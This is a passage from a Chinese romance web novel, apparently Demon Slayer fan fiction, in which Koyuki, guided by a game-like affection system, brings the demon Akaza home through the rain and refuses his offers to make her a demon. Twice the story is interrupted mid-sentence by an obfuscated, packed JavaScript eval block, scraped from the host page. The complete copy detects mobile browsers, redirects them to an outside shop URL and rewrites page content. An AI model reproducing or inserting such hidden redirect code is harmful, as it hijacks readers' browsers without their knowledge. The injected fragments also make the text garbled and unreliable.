但这话落入鬼的耳中,却是另一番意味。 什么意思,她只让他送她到车站? 哈,这就是她说的什么她依然爱着他、他们是一体的,果然人类所谓的爱是…… “对了,狛治哥哥,你坐过电车吗?我带你坐一次吧怎么样,比我们步行回去快多了。” “我教你怎么坐电车,这样你以后回家的时候也可以……”恋雪轻轻拍拍方才小跑避雨时肩上沾湿的雨珠,抬起头,花瞳明亮,泛着笑意。 嗯,狛治怎么忽然发呆了,这样一动不动地看着她? 【叮,攻略对象好感度+2,目前好感度48。】 居然和他随意谈天一下也能加好感,狛治之前说他很爱和别人说话,看来完全不假…… 但电光火石间,恋雪反应过来。 似乎有一件很不妙的事情。 “等等,这把伞是怎么来的……”该不会是抢的吧! 猗窝座哼一声:“自己跑到我手里来的。” 自己跑到……哪里可以自动得到一把伞啊,这就是抢的吧! 猗窝座不耐烦道:“我说了行吧,刚刚看到你没带伞,我就去了几条街外的一家雨具店。我往他们店门口一站,那个老板就把伞双手奉上给我了,我没偷也没抢,有什么问题?” “这……”这就是威胁啊狛治哥哥。 恋雪无奈笑道:“这样吧,我们一起撑伞走过去,我替你把钱付了,好吗?” 猗窝座面露不屑:“用不着。” 唉,埋藏在他心底被他遗忘的美好品德,现在就由她一点点挖掘出来吧。 恋雪挽起他的臂,隔一层柔软衣料,紧贴着他起伏的肌肉。 “别嘴硬了,狛治,我们走吧。”她向他一笑,额发微微沾湿,如露水中的白蔷薇。 说罢,她朝前迈出一步—— 堂堂的斗之鬼,居然真由一个“弱女子”挽着,毫无抵抗地往前走去。 猗窝座咬牙切齿地挤出一句话:“你真是,得寸进尺……” 总这样嘴硬可不行呀,狛治哥哥,猗窝座、先生。 “哦,好吧,是我冒犯了,不知道猗窝座先生你可能……”倏然间,恋雪将挽着他的臂松开了,故作忧愁,抱歉道,“抱歉抱歉,我不知道猗窝座先生你身为堂堂上弦,可能不喜欢和别人手挽着手走路,那我们还是各走各的吧。” 说是各走各的,也不过是她稍稍朝前走了半步,背着手走在前面,始终与他近在咫尺。 身后似乎刮起一阵风,大约是他想伸手来抓她的手。 可惜变成鬼之后的狛治,或者说,猗窝座,完全不坦诚,明明就快碰到她,却又将手放下。唉,真倔强。 雨中五彩的橱窗,像果汁里浮沉的冰块。 从前,从没试过和他共撑一把伞,看遍斑斓街景。有点罗曼,又有点好笑。被她拉开了距离,想必他正在她身后生着闷气吧。呀,真像携一头花豹在闹市中穿行。 一前一后,她和他走过长街数里。 他的目光始终紧锁着她。 这还是第一次见到她这种打扮。没有挽发髻,没有穿鬼杀队制服,披发,小袖,百折裙一样的袴,和其它走在街上的年轻女性一样的打扮。或者说,女学生风格的打扮。 他并非不知道,现在这个时代女人也可以进入高等学堂。 纷杂雨声之中,她走在他斜前方,伞的中心完全覆在她上方。他眼底,全是她清丽纤薄背影。 乌发上淡粉的蝴蝶结,梅花纹的小振袖,深蓝的袴,黑亮的皮靴。这套改良的现代和服,比起与鬼的阵营势不两立的鬼杀队制服,更加,更加遥远。仿佛一不留神,她就会飞出他的掌心,遁入她同族的“文明地带”中去。 人类的文明……法律建立在压迫之上,道德不过是蔽体之用,这就是人类的文明。生活在其中的弱者们,只是引颈待戮的羊群。 他倒是,不介意送这些本就该死的家伙们一程。 这短寿者们挣扎的泥沼,到底有什么值得她喜爱,值得她留恋? 她觉得他连一把伞也买不起,还要请他坐电车,实在可笑。 鬼要获得人间的钱财再容易不过,他只是懒得去钻研——变强才是他生涯中唯一的目标。但……如果她很向往那种无聊的生活,他也不是不能想点办法。光是京都和东京,就有好几个鬼混迹在人类中经营灰色产业,积攒了不少财富。他大可以让它们把资产全上供给他。那些钱,锦衣玉食地养着她,给她去上所谓的“高等学堂”,绰绰有余了。 尽管他觉得到庸人云集的地方去只是浪费她的时间,但她爱怎么样就怎么样。 他很乐意给她点甜头尝尝。 雨中的东京,人性的臭味随着雨水飘洒、升腾,恶臭难闻。 行走在这臭气中,他理应觉得恶心。但此时此刻,一切往昔的腐臭都褪去,唯有她淡淡发香,轻柔拂着他的脸庞。 她的一缕鬓香,仿佛一道轻柔丝线,将鬼心中裂口绵绵缝合。 恋雪只觉鬓边一凉。 余光微微一偏,只见一根深蓝的手指抚过她鬓边。 【宿主和攻略对象已进入亲密范围,攻略对象欲望值加载中……】 【攻略对象:上弦之三,猗窝座。欲望值:19。】 她回头,看见他眼神转也不转紧睨着她,却抬手轻轻嗅了嗅方才拂过她鬓发的修长食指。 【叮,攻略对象欲望值+1,目前欲望值20。】 恋雪的神情微微一滞。 不是吧,这就加了一点了?狛治哥哥你这样,我可是很有压力的喔…… 但很快,又来了一个令她压力更大的问题。 “有件事我还没问你。” 低沉的声音从她耳畔响起。 他早已逼近,近在她肩侧。 “你和那群弱者很熟吗,刚刚在那什么茶屋,有个男的,一直在你面前献殷勤啊。” 鬼转过头看着她,俊美的脸上,居然是笑的表情。 人在想掩饰怒意又掩饰得十分拙劣的时候,当然是“笑”的了。 【叮,攻略对象黑化值+1,目前黑化值76。】 恋雪震惊,恋雪僵硬。 这黑化值这么简单就上升了,这对吗!欲望值也就算了,这个什么黑化值能歇着点吗……果然,“猗窝座”活泼又好动,情绪也是忽上忽下,急剧变化。 鬼的金瞳,仍如花豹如猛虎般分毫不转,只在眉头微微挑动。 她的一缕鬓香,确实稍稍填补了他连日的空虚。猗窝座的手,再度轻轻抚上她长发。 “你最好解释一下,恋、雪。”如同收网般,他不紧不慢地将她一缕秀发拢在掌心,俊美面容上已是呼之欲出的侵略感。 但鬼的心,是永远无法填满的空洞。 13.龙宫仙女管束恶龙中 “你最好解释一下,恋、雪。” 解释什么?她有朋友他也要管? 至于浅野先生的心意,她是想下次见到对方,单独相处时再认真地拒绝。今日在茶屋,她察觉信子所说确实不假,但当着一众朋友的面,她不好让浅野先生下不来台。 不过…… “猗窝座先生,请问你觉得我和你是什么关系,你又是用什么身份对我的人际关系发表不满呢?” 一直紧锁着她的暗金的瞳,眸光颤动一瞬,似乎想将视线移开,却又硬生生将眼神回转,仿佛与她角力般,继续逼视她。 “以前,我和你师出同门。” 这句话完全是他从喉中挤出来的,声音极其低哑。 千般万般的往事,他只承认最表面的一桩。 是因为破坏杀和素流的招式实在太像,他想不承认也不行么? 恋雪悠悠叹一口气:“那就是同门了,只是师出同门的‘师兄’就要这样对我指手画脚,可是管太多了吧。” “不过呢,如果是更亲密一些的人,给我一些人际交往上的建议我也不是不能考虑一下。” 她敢逼他? 上弦之三俊美面容上仍是笑的表情,笑眼眯起,深粉色长睫上下合拢,乍一看,相当无害。 他就这么笑着,说出如下话语:“恋雪,你不如先仔细地、认真地,回想一下我的身份。区区人类,我想杀,我随时就能把他们都杀了。” 看来这还是一道送命题。虽然,送的不是她的命…… “随随便便就把什么杀人挂在嘴边,太恐怖了吧,猗窝座先生,你真的吓到我了哦。”言罢,她稍稍往后退了一步。 伞外的世界,雨丝纷飞。 “喂,你干什么,想被雨淋到吗……” 还以为他会小发雷霆,结果只是凑近一步,将伞的圆心,重新置于她头顶。 她如此戏弄于他,他在乎的竟然是令她不要被风雨吹打——转瞬,他的眉皱起了,察觉到方才的举动太有损上弦之三威名。 但不待他摆出或凶恶或冷笑的表情,她已先一步道: “浅野先生只是对我有一点好感,在那么多朋友面前,我总不能直接说出来让他难堪。何况,他是个好人,我和他认真解释一番,他应该也能理解的。”她认真地,耐心地,为这如今完全不通人情世故的鬼解释着。 最后,恋雪轻柔一笑:“我想,告诉浅野先生我已经有家室之后,他大概就会知难而退了。毕竟破坏别人家庭可不太道德。” 她的话,分明在说他是她的家室、家庭…… 意识到又被她反将一军,猗窝座的神情可以说相当难看,仍是勉强挂着笑脸,但牙关紧咬,甚至腮边都浮出青筋。 你最好,还是不要随随便便说什么上弦之三是你的家室。你一而再再而三地冒犯我、挑衅我,我不过是看在那无聊的前世的份上,对你稍加优待容忍。你如果再学不会收敛,继续挑战我的耐心,我就——我就什么,后面的话,他一时没想出来。 一句话没想清楚,一肚子凶神恶煞的威胁便都没有倾露。 长街数里,已经走到尽头。 夜色中,她朝前一指。前方正好是一小小的广场,店铺云集,灯牌也云集。但落在他眼中,仿佛是因了她信手一指,雨中都市才受了造化的点拨,亮起光斑点点。 直到她又开口,他才回过神来。 “是那家雨具店吗?走吧,猗窝座先生,我帮你把钱给付了。” 店门口,老板大惊失色。 刚刚好不容易送走的凶神,怎么又、又回来了……! “刚刚我丈夫忘了付钱给您,实在抱歉。”恋雪说着,就从随身小包里取出钱夹来。 此情此景,宛如海中的恶龙到人间为非作歹,龙宫仙女便带着那龙上门赔罪一般。但再宽和的仙女,她身后站的也还是一头恶龙啊! “这、这,不用了不用了,这位女士,您就当是我送……” “收下她的钱,听到没有。”仙女身后,恶龙阴冷地发话。 上弦三“发号施令”,老板顿时不再谦让,颤颤巍巍将钱收下:“谢谢您的惠顾!万分感谢!”其姿态之恭敬,就差没九十度鞠躬。 恋雪真有点无奈了,看来当务之急是先让狛治哥哥重拾友善沟通的语言能力。 本来以为雨夜的小插曲就此结束,谁料老板向店内招呼一声,一个小学徒哒哒哒地,捧着一把蕾丝花边的洋伞跑了出来。 老板头发半白,戴一副现下时兴的单片镜。阅历丰富的老者,一眼看出眼前的小姐沉着善良,而且……嗯,似乎在他们的关系中占主导地位。为免这暴徒再找上门来,老板决定讨好“夫妻”二人中的“妻”,谄媚地将洋伞双手奉上:“这把伞和您的气质很是般配,就当我送您一份小礼物。” 洋伞蕾丝缀边,漆木伞柄,柄上陶瓷花卉装饰蕤蕤,工艺相当繁复精美。 弱者的恭维讨好,猗窝座一向十分厌恶。但想到一把装饰精美的洋伞或许比现在他举着的番伞更适合恋雪,破天荒地,他默许了老板这一举动。 “很谢谢您,不过……”恋雪向店老板一笑,“不用啦。我难得和他见上一面,就这么和他共撑一把伞也不错。” 雨具店老板和小学徒迅速偷看了一眼猗窝座,那眼神变得有点意味不明起来。 难得见上一面,不就是总聚少离多,不就是这男的总不着家吗? 也是,这种打扮,想必为人很是轻浮了。如此温婉美丽的小姐,居然嫁给这么一位……唉。 这……这位老伯和小朋友,你们对狛治有什么想法心里想想就好了吧,为什么还偷偷摸摸瞥他一下,眼神还如此明显! 趁上弦之三、斗之鬼还没发飙,恋雪赶紧拉着他走开。 一瞬间,他宽大冰冷的手落入她皎洁轻柔手中。 和她重逢不到两个小时,已三番四次被她言语耍弄,现如今,还被她牵着走,他理应很不适,很恼怒。 但分分秒秒过去,他只感受到自己原本冰冷的掌心逐渐有热意蔓延。 流光满目,海浪般在她的鬓边闪动。她侧影雪白,如同那光之海中升起的月亮,海面流光再辉煌,都不过是反射着月的清影。 他觉得有点荒谬,又有点好笑,她的名字里带了一个脱俗凛然的雪字,却完全人不如其名,手心如此滚烫。 直到他反应过来,不是她的手心滚烫,是他的。 【叮,攻略对象好感度+2,目前好感度50。】 【攻略对象好感度达到50,小阶段奖励已发放,宿主可稍后查看。】 恋雪讶然回头。 “忽然回头看着我干什么?”他漫不经心笑着,与平时分明无异。 好强悍的掩藏情绪功力! 说实话,她觉得总借系统来窥探狛治、或者说猗窝座的心思其实不太好。爱一个人,当然要尊重他的隐私,怎好常常偷听他的心声。 但之前狛治还老是在暗处观察她呢——就说今晚,真不知道他在暗处看了她多久,连茶屋里浅野先生和她说了多少句话他都数得出来。勉勉强强,二人就当扯平了吧。 至少在今晚,让她再听一会儿。 叮叮叮响个不停,宛如欢喧的铃音曲一般,也挺悦耳。 “车站到了,狛治,我先教你买票。”她微笑着,拉着他在电车车站停下。 真是难得,车站红砖顶下,他居然没再说什么阴阳怪气的话,而是乖乖跟在她身后,很耐心地,看着她给他买了车票。 一百多年来的技术进步汇在一小小纸片中,被他捏在手心。 猗窝座长眉挑起:“为什么我的和你的不一样?” 什么我的、你的? 哦,原来是在说车票呀。 恋雪的票是一本薄薄的巴掌大小册,翻开,内页如贝壳托着珍珠一般,嵌着一张小照片。照片中的她姿容秀美,柔情双眸对着镜头外微微笑起,银盐颗粒模糊朦胧,平添一层如梦似幻光影。 “我这个是月票哦,狛治你要买月票的话,要先拍照。” 她低头看了看二人手中车票,又抬头看看猗窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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敢用怀疑的目光打量他的人类,在平日,他早已把他们杀光……杀前,说不定还要把他们的眼睛挖出来碾烂踩碎。 然而她纤柔的臂,一直紧紧挽着他。仿佛当真如此:他一旦挣脱她柔弱双手,便会大开杀戒。 真好笑,在她眼里他就一点自制力也没有么? 心中的杀意到底消弭了几分,猗窝座金瞳眸光幽深,余光扫了一眼她紧贴着他的臂。鬼的感官超群,即使有一层衣物相隔,她暖和的体温也一直渡到他钢铁般臂膀上。她身上的馨香芳华,一并地,丝丝缕缕浮在他身畔,环绕他。 他姑且,顺着她天真的心愿。 但这笔让他忍气吞声的账,自然再度算入她欠他的人情之内。 恋雪拉着他在后排一靠窗的位置坐下。 晚班车,乘客只有寥寥几人,或打盹,或神游。 起初,他也是偏头看着窗外。 当然不是因为要看风景,而是…… 刚才她一直当着他的面说什么丈夫,他一时不察,竟任由她一路胡说。如果眼下再看向她,还不知她要如何得寸进尺。 那位大人交代过要把她变成鬼的任务,还是找个时间和她再提一次,然后…… 转瞬间,他呼吸一滞。 他迅速转头看她:“你干什么?” 恋雪的面容雪白秀丽,仿佛秋水为神。她花容上泛出一个疑惑的笑,似乎对他这么大反应很不解。 她无辜地对上他的视线。 角落里只有他们两个,她不过是,从包中取出一方洁白小帕,轻轻按到他额角—— 被她手中棉帕触及,织物何其柔软,鬼却如同被一道凭空划过的闪电击中。 她眉眼间带上几分柔情,光明磊落地一笑:“只是给你擦一下脸上的雨水。” 虽然鬼大概无所谓淋不淋雨,但她总不能看着他湿漉漉的呀。 何况,他身上大半边都是湿的,也是因为刚才他打伞时,一直把伞往她那边偏吧。 14.同居 一块小小的手帕,自然不能将淋了小半天雨的鬼擦干净。 “你要不要用毛巾再擦一下?” 他原想说不用,但看着她崭新的家,还是在玄关处将毛巾接过,将身上雨水拭去。 两层楼,附带一个小庭院,深色木调,白色墙壁,有格子拉门也有落地玻璃,庭院的绿植投映在磨砂玻璃之上,卉木蒙蒙,碧影绰绰。 只有一点很突兀。格子拉门和落地窗前挂着大幅深色窗帘,色块过于厚重,无论是和窗外景致,还是和屋中摆设,都很不协调。 不止如此,每一扇窗前都高高挂起厚重的深色窗帘。一拉上,便是暗无天日。 上门来量尺寸的布艺店学徒还曾好心建议一番,小姐,您确定要买这种深色的窗帘吗?和房子的氛围不太适配呢,落地窗前还是挂清透一些的纱帘比较好吧…… 那格格不入的窗帘,自然也落入猗窝座眼中。 他隐约可以猜到她这番布置是何意。 于是,很快地,他的目光便从窗帘上转移,打量起四下的布置。 即使他久不踏足人类文明,也看得出除了角落里那个书柜,其余家具都不是十分名贵。简单的布置、浅淡的色调,一如宅邸的主人,素净而纯洁。 他非要在她淡雅的品味中,恣意妄为地涂鸦上几笔。 很快,他已经盘算好,趁她不在,他要将她的房子堆满。莳绘,镶嵌,色漆,古董,珠宝……总之是一堆艳俗的东西。 一想到在她洁白的神殿中泼洒许多浓艳颜色,将她清幽宁静的世界捣鼓成缤纷的一团乱,鬼的心中,缓缓升起恶作剧般隐秘的愉悦。 即使她不喜欢,那些名贵的玩具她也大可以卖了换钱。 【叮,攻略对象好感度+3,目前好感度53。】 怎么无缘无故又加三点了?端着茶水出来的恋雪讶然。 “猗窝座先生,普通的食物,你能接受吗?有一杯没有放茶叶,是白开水,”她姗姗将托盘放下,“不喝也没关系,我只是觉得你第一次来,不好连水都不给你倒一杯。” “如果是血,我倒是可以喝喝看。” 鬼笑着,语言十分挑衅,但还是端起白开水的那一杯,一饮而尽。 人类的食物让他恶心,水勉强可以接受。 “抱歉,我这边没有血能让猗窝座先生你喝呢,”恋雪跪坐而下,和他相对着,想了想,道,“鬼不是也能吃动物吗,如果你非要喝的话,市场的肉铺应该能买到动物的血。” 动物的血肉,不过是那些低等的鬼无法捕食人类才不得已选择的替代品。 但她居然真的在为他一句玩笑话认真思考。 鬼金瞳眯起,心中愉悦更甚。 “你一个好好小姐去市场和那些屠夫说你要买一桶牛血、鸡血,很奇怪吧?如果我说我要喝,你真的会去给我买回来吗?小心别人用怀疑的目光看你,人类社会的女人,很注重名声吧。” 恋雪道:“虽然是有点尴尬,不过你要喝也没有办法。” 你要喝,也没有办法。 须臾之间,他已极度凑近到她面前,金瞳一转不转地紧盯着她。 猗窝座妖邪笑起:“这么为我着想?你也太善良了吧……” 浅粉的花道盆景在二人身后作着幽静的背景。 花枝轻柔弯曲,向外蔓延,花朵细小,宛如点点淡粉的波光在浮动。 明明,已经预演过许多次将他带到现在这个家里的局面,但眼下,他当真大马金刀坐在这里,意外地,她居然有点局促起来——更别提,他还总是这样,毫无征兆就凑到她跟前。 咫尺之隔,他似乎也看出她的局促。 她轻微的紧张和脸红,足以令他曾经只为战斗而澎湃的心鼓动。他欣赏着她雪白颊边一点淡红,愈发欢愉。 鬼单手撑在膝上,托着腮道: “恋雪。” 咦,狛治是看出了她有点紧张所以主动和她找话题吗? “你这么为我着想,这么努力满足我的心愿,不如还是变成鬼吧怎么样?” 唉,她早就该猜到“猗窝座”能找到的话题就是这个。 真是三句话不离你还是变成鬼吧! “那位大人看重你能救活炎柱的药,觉得你能为他效力。这不挺好的吗,你变成鬼之后也可以和我一直磨砺下去,只要接受我的指点,你很快就能登上上弦的位置。” “不过,你要是想再体验几年人类的生活才变鬼也不是不可以,等你随着年龄的增长身体机能下滑的时候,你自然就会想起我的建议,然后……” 不待他再说,恋雪已轻轻摇头:“狛治你和我有商有量的,和我交流的姿态也平和了许多,这两点,我很开心。但这个建议还是恕我再次拒绝。” 啊,他早有预料她会这么不识好歹。 他再靠近一寸,几乎与她额头相抵,语气蛊惑:“一口一个丈夫、夫君,结果连和我一样变成鬼也不愿意吗?” “你口口声声说什么我们是夫妻,难道你不想永远和我在一起?我们可以一直切磋、一直磨砺,直到登上至高力量的顶点……” 丈夫、夫君、夫妻,她多希望有一日他能重新记起。但此刻,种种的往事经由他之口,却全是引诱的筹码。 她宁愿他不要承认,也不想听他如此轻浮地道来。 恋雪按捺下那一点伤心和生气,心平气和地解释: “狛治,我也没有说过希望你变成人吧。请你也尊重一下我的意志。”尽管她一直希望他能重拾人类之心,重新回到阳光下来,但考虑到他如今的意愿,她一次也没有对他说过。何况……似乎也确实没有办法能把鬼变成人。 猗窝座嗤笑一声:“这是什么话,你真的逗笑我了。难道这世上有能把鬼变回人的方法?” “即使有,我也绝不会作出这种愚蠢的选择。” 他向她凑近一步,抬起她一缕披肩的青丝,目光在她雪白脸庞上逡巡滚动,心声诚恳:“我是真心地邀请你,为你着想,想和你分享我曾经领受过的恩典。变成鬼不好吗,永远保持这份强大,这份……” 这份美丽。 略一停顿,他没有说出口。 “而且几十年、一百年、上千年地活下去,你还愁不能传承素流的武道吗,很快,天下都将是你的门生……我也可以帮你,把素流变成世界上最强大、最荣耀的武学流派。” 茶屋门口,她那朋友和她的对话,他听得一清二楚。 她很看重他们曾经的那个小门派。 听她所言,人类时的他似乎是那什么素流的继承人。往昔的一切早已在他心中逝去,什么素流、什么道场,都是被潮水带走的沙石,他全无印象。但,他不介意抬举她重新拾起“素流”的荣光。 一百年前,他们一起经营道场。一百年后,他仍可以陪她重温那人间的游戏。想想看,千万“门徒”匍匐在她身前,而她身后,站着的是他——她是他浇灌出来无上美丽的花,用他的心血…… 光是想象,他便兴奋得微微颤抖,喉结起伏滚动。仿佛百年之前,确实是有那么一段道场夫妻的岁月,那往日的魅影在他心中复苏、回魂。 人类的男人能给她什么,那依附祖荫的寄生虫,难道能像他一样托举她? 只有他,能给她广阔的世界和巅峰的荣耀。 他自觉这个筹码已经足够诱人,因此志得意满地笑着,等待她的回复。 鬼的指腹擦过她薄薄眼睑,似乎已经能看到不久的将来,她如梅初绽的花瞳中便会浮出“上弦”二字。 至高力量的顶点是指,登上那所谓的顶点后依然被鬼舞辻无惨操纵吗? 恋雪不想说出如此尖锐的话,只开着玩笑般轻柔化解:“怎么抬举呢,请问是让弟子都深更半夜来修行吗?需要熬夜修行的武道,弟子们很快就跑光了吧。” 猗窝座金瞳瑰彩华美,紧紧注视她,掩不住的兴奋:“能习得强悍的武技,那些肉体凡胎的弱者应该庆幸。要是有人敢叽叽歪歪,我就会把他们都给——” 实在听不下去他动不动就诉诸暴力的危险发言了。 恋雪双手轻轻按到他肩胛上,是安抚的姿态。 她轻声道:“说起来,我好像一直没有问过猗窝座先生一个问题。” “什么?” “你为什么想要变强呢?” 虽然被她打断,但这个问题,他倒是很乐意回答她。 猗窝座笑道:“我要追寻武道的至高境界。” “原来如此……变强,直到攀登上那至高境界后你又想做什么?” 她这个问题多么好笑。 登升的道路是一座永无止境的高峰,只要不死不灭,他就能一直磨砺下去,继续、继续获得更强大的力量。 猗窝座目光微偏,打量着她抚在他肩上的手。 须臾,他的身体已先他的思考一步,抬手覆到她清瘦手背上。 他按着肩侧那只洁白的手,大发耐心地,再回答一次这个简单得仿佛天经地义的问题: “当然是继续变得更强。” 恋雪无奈了。 真是牛头不对马嘴的回答呀。 变强之后想做的事情,是继续变得更强。这……这不就是相当于什么变强之后什么想干的事情也没有嘛。 “猗窝座先生,你真是太有上进心了,”她顺着他的动作,施施然将他的手捧下,置于膝前,拢在掌心中,“不过在我眼里,现在的你已经很强了,除了切磋、训练,你有没有想过,或许你也能抽空干点别的事情?” “比如我们一起逛一逛,看看书之类的。” “你就住下来,找找看除了切磋、磨砺还有没有别的兴趣爱好吧怎么样?” 这座宅邸里有纸笔,他可以画画。可惜庭院里没有池塘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036623|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不然他们可以买一些锦鲤的小鱼苗重新养起来。 她微笑:“反正,这也是你的家。” 说这小宅邸是他的家也没什么问题,毕竟,这小房子本就是因他而得…… 他真不明白她在想什么。 前脚才说拒绝和他一起变成鬼,后脚又说她的房子也是他的“家”。 “你不怕我待在你身边,哪天我耐心耗尽,硬要给你喂下鬼的血吗?”他笑着吐露凶恶话语,另一边没被她捏住的手五指成爪,比了个模仿猛虎的浮夸动作,比起威吓,更像顽劣逗弄。 糟了,听到这么可怕的话,她居然只觉得他的动作有几分可爱。是……是故意要摆出这种姿势来逗乐她吗? 不行不行,冷静一下,这种时候脸红的话太奇怪了…… 恋雪很“镇定”:“虽然猗窝座先生你说得很恐怖,可我想你应该不会这么做吧。” “是吗,你对我这么有信心啊……” 他空出来的手,已经落到她颊边。 这只杀人如麻的手,只一寸寸从她洁白脸颊抚到微红耳廓,轻到不可思议。 猗窝座仍是笑着,依然吐露着仿佛玩笑的语言,但眸光已经一点点暗下:“我可是上弦之三。你邀请我和你同住,你就算窝藏鬼了,被你那些鬼杀队同僚发现你就要完蛋了,懂吗?” 拒绝他变成鬼的邀请,好像很有底线一样,结果转头又对一个鬼说她的家也是他的。 鬼没有家,只有巢穴、领地。 恋雪,我已经给了你两次拒绝的机会,这可是你自己非要引虎入室。 “难道上弦之三还做不到隐藏自己的气息吗?”他对面,她莞尔一笑,“没事,狛治你不想留下来的话也没关系,我尊重你的想法。” 毕竟当了一百多年鬼了,人类社会四四方方的“家”,他一时觉得拘束也是有可能的。虽然她是觉得住在野外不太好,不过他非要浪迹荒野的话,她也不好勉强他,慢慢来吧…… “这样吧,我给你一枚钥匙,这样你想来的时候随时都能来。” 她站起,转身,在他的视线中步履轻盈地远去,站定在一餐边柜旁。 再回来时,她纤长指尖,已捏着一把小钥匙。 她娴静地重新跪坐,手上轻轻一松,那钥匙便落入他掌中。 猗窝座觉得很好笑。如果鬼要闯入人类的屋宅,有没有钥匙又有什么关系。 一把钥匙,只对应一扇门,一道锁。钥匙和锁对彼此来说,都是唯此一度的存在。 她居然就这么毫无防备地把她的钥匙给了他…… 他心中,仿佛也有一处幽暗的孔洞,发出微不可闻的细响,咔一声,轻轻旋转。 那小小的、铜黄的钥匙转瞬融入上弦之三的掌心。 他抬眼,打趣她:“这么惊讶看着我干什么?鬼就是这样储存东西的,很害怕吗?” “也不是……”恋雪思索许久,还是道,“但这样子,猗窝座先生你和别人战斗的时候,万一被别人把手砍断了,岂不是……” 原来在担心这种事情。 没关系,他会把它转移到内脏的位置。 胃,肺,肝,心脏,随便找块血肉融合进去就好了。 流沙数秒,那枚小小的钥匙已经穿过千重坚不可摧血肉,沿着十数万蛛丝般理不清血管,融入他心脏之中。 鬼不死不灭,千秋万世,它都将沉在那隐秘的血肉的深海中。须臾,血便的海浪已汹涌而来,将它吞食、掩埋。鬼的神色不显,但他的身体,已用尽全身力气,纵情享受着它沉底的一刻—— 快乐,满足,得意,沉醉,万紫千红的颜色在他眼前翻滚。 猗窝座将想要深呼吸的冲动压抑下去。 烟花轰闪般的极致欢愉,他在一秒钟内消化,嘴上已是漫不经心的戏谑:“那也是没办法的事情,你就祈祷我不会把它弄丢吧。毕竟只是一个零碎玩意。” 劝她变成鬼,结果又被她随便几句话转移了话题。 算了,反正也送她回家了,今天就到这里吧,他要走了。 然而他刚要起身,又被她的发问拖住。 “对了,还没问你,你现在还需要睡眠吗?” 难得地,他有耐心回答这莫名其妙的问题:“很少。上弦鬼一年都不需要休眠一次。” “那还是偶尔要休息一下的嘛,猗窝座先生你喜欢传统的布団还是西式的床?” 其实,她本意很单纯,只是问问他更喜欢哪种寝具,这样她也好按照他的喜好给他布置卧室。 但这句话落在上弦之三耳中,完全是另一层含义。 “你今天该不会,还要我留下来陪你玩幼稚的留宿过夜过家家吧?”虎纹黄的灯光下,他暗金的瞳里有幽深颜色。 早已收起的蓝色的伞,立在玄关一角。雨水滴下,将地板微微润湿。 屋外雨声一直未停。 15.好感值卡住了! 【叮,攻略对象欲望值+1,目前欲望值21。】 什么留宿过夜的过家家?而且,居然还加了一点欲望值…… 她可完全没有此意呀——狛治愿意先收下这个小家的钥匙,就已经够了。她还怕再说多些,他又要像上次一样忽然消失,“落荒而逃”。 恋雪小小试探一下:“留下来小住一晚,不行吗?如果猗窝座先生是有要事在身的话,我不勉强你。” “我的要事,是把你变成鬼。” 他笑意戏谑,却当真不再有要起身离去的迹象。 仿佛若无其事地,他捏着她一只手在掌中把玩,神色慵闲倨傲,唇边有一点妖魅的浅笑。她手心纤纤的生命线,在他深蓝指尖迤逦地延长下去…… 这就答应留下来了?总觉得,狛治哥哥越来越好说话了。 于是乎,恋雪又再试探一小下:“不过,除了主卧,其他房间还没来得及布置寝具,猗窝座先生你……” 这回,一直无往不利的恋雪却是碰了壁。 不待她说完,猗窝座已满不在乎地道:“我不用睡眠。” 唉,看来只是答应留下来,一整晚共处一室还是太为难他了。 “好,没关系,”她柔柔笑着,“你能留下来,我已经很开心了。” 至于狛治是想一整晚都坐在客厅发呆还是在院子里练拳之类的,随他自己去吧——伴侣之间相处,当然要讲究距离,给彼此留下自由的空间。 雨光辉映在二十世纪的玻璃窗上,人间的宅邸是一座小小的水晶球。宇宙之外,还有宇宙。但这漂浮在宇宙里的微缩的小世界,只有她的呼吸声,他的呼吸声。一切都停顿了,小世界的中心,是锡兵和芭蕾女孩纸偶。 唯闻雨声轻轻流泻。 从那天之后,他还真在她家逗留了下来。 少年时,她许多次想象过,等她好起来,和他共度同一屋檐下爱侣的生活。鬼已经无法再进食人类的食物,过往的种种幻想,秋刀鱼、饭团、味增汤,红豆汤、大福、年糕,全都如五彩泡泡,飘散而去。没关系,鬼还能吃动物的生肉不是么,这样想想的话,那刺身岂不是……她在种种思索中度过一夜,晨曦时分,还没等她睁眼,却已闻到房门外一阵馨香。 恋雪匆匆披衣,穿上木屐出来,面露几分讶然。 “这是……” “我买的,你敢吃吗?”猗窝座托着腮在餐桌另一端看着她,“你不怕里面有鬼血的话,就吃吧。” 住进她家的第二日,他便趁夜去了那混迹在东京商会的下级鬼庄园一趟。 上弦之三亲临,那鬼可以说诚惶诚恐、毕恭毕敬,战战兢兢地为他献上一堆财富。 财宝对斗之鬼来说毫无用处,但主宰她的吃穿用度,已绰绰有余。 “也不是不敢吃,就是,呃……” 谁早上七点起床会先饱餐一顿料理全席呢,狛治哥哥? 前菜、汤羹、脍菜、煮物、水果、甜点。精美丰盛,一一装在工艺豪奢的餐具中。 她在村小学当老师时还代过数学课,略略一看,便看出这桌上起码有不下五十盘,似乎是同时上了好几套的不同风格的高级料理…… 一桌子和式料理之中,还和洋折衷一下,混入了一份比她脸还大的牛扒。餐盘边缘,更洒上一圈亮晶晶金箔,生怕她看不到一般。 这已经是她三天、不,五天的食量…… 她不过是愣了片刻,他已哼笑一声。 